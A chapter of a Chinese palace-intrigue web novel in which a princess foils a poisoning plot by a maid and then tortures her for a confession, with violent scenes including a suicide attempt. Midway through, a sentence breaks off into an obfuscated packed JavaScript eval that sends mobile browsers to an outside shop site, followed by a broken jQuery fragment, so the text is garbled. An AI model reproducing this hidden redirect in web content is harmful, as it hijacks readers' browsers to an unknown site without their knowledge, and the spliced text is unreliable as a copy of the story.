李瑛笑着,重又将方才的话重复了一遍。
“如今战事刚刚分决,宫中也无闲钱建造新的王府,我和阿瑗也都不是八岁稚童了,我还好说,虽说日后出降也要离宫,但是还不急这一时。”
“只是阿瑗到底也是皇子,久住在东宫也实在不算是个事儿,若是回了在永宁寺,那就更不成体统了。”
李瑛眸底神色一暗,她垂着眼,指尖漫不经心地拨弄着腕间那只金错玉的跳脱镯,“稚水,你还记得那座宫殿吗?”
这也是一桩旧事了,也是李晟和慕容明春对李瑛昔日宠溺的体现,李晟看着怀里软软的婴孩,他决心为她建造一座绝无仅有的华贵的宫殿。
体制远超皇子公主的所有,锦幔珠帘,穷极绮丽,占地几乎赶上了东宫,至于内置的规格,甚至都赶超了皇后。
后来李晟打回了洛都,东宫被王氏气急败坏地烧了大半。
朝中便有人提议,不如将那座空置多年的华丽宫殿稍加修缮,索性直接赐予太子做新的东宫,也省得劳民伤财,再大兴土木。
李晟拒绝了,谁也不知道他在想什么。
“我和阿瑗已经商量好了,若李晟不肯给,我们便一哭二闹三上吊,总归得逼着他把那地方还给我,反正那宫殿也大,一分为二,作为我们的府邸,这样互相也能有个照应。”
江稚水的脸色却一寸寸地白了下去,他惊恐地瞪大眼,“我们要在这里长久地住下去吗?”
听他这话,李瑛心里也是咯噔一声,她放缓了声音,“我已经是公主了,怎么能说走就走呢?再者,我们又能够去哪里呢?”
米富一屁股坐到了江之水怀里,他被捂了一个冬天,如今白了许多,像颗白白胖胖的糯米圆子。
他扯了扯江稚水的衣领,“阿兄,米富喜欢这里,米富想要住在这里,这比从前在里坊的草房子里舒服多了。”
李瑛挪开了目光,却忽然瞥见佛堂外似乎有人影晃动,有人鬼鬼祟祟的,她皱眉,“谁在那里?”
却见一个身材纤瘦的宫婢慌忙低着头走了进来。手里捧着个漆盘,一副很惶恐的样子。
“太子妃命奴婢前来奉茶。原是与几位姊妹一道来的,只是她们午间食了荤腥,不敢入佛堂,唯恐惊扰佛前清净,便由奴婢独自进来伺候。”
李瑛此刻心情烦乱,也懒得细究,只疲惫地点了点头。
那宫婢显然也察觉出她情绪不佳,越发屏气凝神起来,低眉顺眼地跪坐于案旁。
茶叶需先碾作细末,再与油膏调匀,饮时又要加姜煎煮,富贵人家还常添乳酪、蜂蜜。
那宫婢低着头,纤细手指执着茶筅缓缓击拂,动作赏心悦目。
看着茶沫一点点泛起雪白细腻的浮花,李瑛想到从前在董家坞堡的时候,宋敏娇也是这样吃茶的,她则在一旁伺候,稍有不慎,便会被那位娇生惯养的女郎嫌弃粗手粗脚。
李瑛忽然想,她其实从来都没有真正的好好的吃上一盏茶过。
“那你想的是怎么样呢?”李瑛轻声道,“开弓没有回头箭,无论我是不是愿意承认,这里都是我的家。”
“江稚水,我属于这里。”
江稚水苍白消瘦的面容在佛堂昏黄摇曳的灯火下显出一种近乎透明的脆弱来,他潸然泪下,一行清泪顺着他的鼻梁流了下来。
李瑛怔怔地看着那滴晶莹的泪珠,忽然感觉像是有什么滚烫的东西落在了她的心上,痛得她不忍直视,她并不喝茶,只是将那茶盏握在掌心暖着。
“茶里添了乳酪与蜂蜜,若凉了,味道便不好了,还是趁热饮下吧。”跪在下首的奴婢欲言又止。
李瑛心里却忽然生出一阵没来由的烦躁,对那奴婢说:“你退下吧,这里不需要你伺候了。"
那奴婢“诺”了一声,后退几步后转身离开。
“这样的生活也没有什么不好的,我不能说我已然全然放下从前的仇恨,我不是圣人,做不到宽宏大量地去原宥。我受的那些苦,我都记在心中。但是稚水。”
李瑛浓密纤长的睫毛在眼下投出淡淡阴影,“他是皇帝,拥有着天下最至高无上的权利,我身为他的女儿,这是我本应就该享受的东西,我抛弃了这些,不但不能到伤害到他,反而让我遍体鳞伤。”
“我这又是何必呢?”她幽幽叹息道。
江稚水还是他沉默着,流着泪。
看着他这样汹涌的泪水,李瑛反倒有些不知所措,她不明白为什么江稚水对留在宫中的反应如此的剧烈。
李瑛小心地斟酌着用词,“从前洛宫中的黄门江稚水,他早就在承安十三年夜,国破那日死了。我想好了,我准备给你换个新的身份,待我出降,你可以做我的府官。”
她自己都有些激动了,“你听到了吗,稚水!你再也不会是那个奴婢了!我们可以一直在一起!”
江稚水忽然大叫了一声,他的肩膀剧烈地起伏着,哭的不成样子。
李瑛以为是“黄门”两个字触碰到了江稚水不可言说的伤痛,她自觉失言,无措地舔了舔嘴唇。
江稚水哭得实在是很可怜,李瑛的身体告诉她,她应该上前拍拍他的背,去安慰他。
但是她的心并不想永远这样惯着他,李瑛将手里的茶盏递到江稚水跟前,她放缓了声音,像是在哄一个哭闹不休的小孩子,“稚水,喝口茶润润嗓,有什么话我们慢慢说。”
江稚水其实并不愿意接的,但是李瑛现在已经不是原来那个李瑛了,她已经变成公主了,她是他的主子了。他现在是真的有些害怕她,于是他颤抖地接住了那茶盏。
他们好像总是这样,亲密无间又貌合神离。
江稚水干裂的嘴唇甫一碰到温热的瓷胚,却斜刺里却忽然猛地伸出一只手,狠狠将那茶盏拨了出去。
“啪——!”地一声,茶盏骤然脱手,重重摔碎在地。
而出手的人,赫然便是方才那个已经退下去的奴婢。
李瑛错愕地看向那奴婢,青儿捂着嘴,缓缓地滑倒在地,面如死灰。
她什么话都没说,而是抬起脸深深地看了江稚水一眼。
江稚水也受了惊吓,他失声尖叫起来。
随即青儿竟连半分迟疑都没有,决绝地抬手拔下了自己发间的簪子,向颈部用劲戳去。
“她想要自戕!”李瑛尖叫道。
随即她也不管自己现在穿着是件长裙,将裙子一扯,借力猛地踏上面前的檀木长案,整个人如同一只豹子般凌空扑了过去。
她一脚踹向了奴婢的胸口,一只手反拧住她握簪的手腕,另一只手则狠狠锁住她的脖颈,使她动弹不得。
李瑗也趁乱将她的簪子扔向一边,他看着那件被磨得格外尖利的簪子,上头还浸着暗色的痕迹。
他的目光很淡漠,“这簪子是磨过的,上头淬了毒,她是一早就存了死志的。”
李瑛狐疑的目光在江稚水和青儿的脸上穿梭着,“你方才几次三番地想催我饮下这茶水,如今他想喝,你宁肯自己死也不让他喝,究竟是为了什么?”
青儿死死咬着牙。
李瑛直起身,她没有看向青儿,而是猛地扭头看向江稚水,她脸上的神色扭曲又愤恨,还是方才看向青儿的神色。
江稚水心里猛地发怵,无论如何,李瑛从来
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17714666|197014||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
没有用过这样的眼神看过他。
他瘫坐在了地上,惊恐的仰头看着李瑛,“我,我,我什么都不知道。”
李瑛烦躁地摆手,“我知道你什么都不知道,你不要再哭了,我在审人。”
李瑛飞快地跟李瑗交换了一个眼神,他们从中都读到了一丝异样的寒意,“若真是太子所为,那定是将他们二人视为眼中钉,肉中刺。只是他们往后的日子还怎么过?”
这其中却还有一件事,始终说不通,李瑛慢慢皱起眉,“你从头到尾,只奉了一盏茶。也就是说,你最开始想毒死的人,只有我一个。”
“李瑛纳闷道,“我如今只是一个公主,为什么非死不可呢。”
青儿冷笑连连,她啐了一口唾沫喷到李瑛脸上,“你该死!”
李瑛的脸彻底冷了下来,她白皙修长的手指在满头珠翠里翻找这,直到找出一只用于固定头发的金簪,她拔出那根金簪,乌黑的发也散乱下来,披撒在她的肩头。
她蹲到了青儿身边,面无表情地将那根金簪缓缓从青儿的指甲缝间穿了进去,
“啊——!!!”
“说,是何人指使?是太子、陆氏还是谁?”李瑛几乎是咆哮了起来,“我才回宫不过半月,你们就这样子迫不及待吗?!"
青儿疼得冷汗淋淋,却还是冷笑着不开口,李瑛更是怒上心来,他拔出那簪子。就想要戳那奴婢的嘴。
米富见李瑛这副疯癫的模样,吓得丢开了手里的果子,哇哇大哭了起来。
江稚水呆愣在原地,他感觉自己的灵魂漂浮出来了,他忽然并不对这一切感到伤心。
他只是怔怔地盯着那颗掉落的那颗滚到他身边的果子,上面还带着米富浅浅的牙印,桌上已经是一片狼藉。
那奴婢献上茶点的时候,他原本是想将其中那碟精致酥点递给米富的,却没想到米富已经先一步伸手,拿了颗果子。
江稚水抬头看向米富的打扮,他早就不是那个市井孩童的打扮穿着一件簇新的松花色衫子,下头是绣着宝相花纹的冰台色绔裤。
他脖子上还挂了一个黄澄澄,一看就是新打的长命锁项圈,像是是富贵人家娇宠的小郎君。
市顶上卖的糖炒栗子里的栗子大多都是野外捡来的,味略苦涩。这样的栗子米富从前都吃得津津有味,就是为了汲取其中有限的甜蜜。
这样的精细的酥点都是他们从前想都不想,根本不舍得吃的,米富现在宁愿去吃那果子,可见这半月来已经吃絮了。
他们已经适应了这样奢侈的生活,这里是他们的家。李瑛和李瑗生来如此,至于米富,也顺畅地适应了。
只有他一个人,格格不入。
他又该何去何从?
方才闹出的动静太大,哪怕李瑗已经告诫过奴婢们他的居所不需要他们的侍奉,但是这些奴婢听着里头的动静,还是一颗心七上八下。
他们唯恐出了差错,无法给太子和陛下一个交代,自己脑袋搬家,还是一边连连告罪,一边进了佛堂。
于是一个个只能硬着头皮,一边在外头连声告罪,一边战战兢兢地推门进来。
奴婢看着地上面色铁青、披头散发的李瑛,又看了看神色不善地看着手里簪子的李瑗,最后视线再下移到被李瑛反剪着双手,狼狈趴地的青儿。
奴婢们都是人精,哪里不明白发生了什么,顿时三魂五魄齐飞了,“扑通扑通”跪了一地,吓得纷纷叩头谢罪。
李瑛深深吸了一口气,她闭上了眼,“我要见陛下。”
她咬牙切齿地重复了一遍,“来人!速速给我通传,就说太子阿兄要杀我!!!”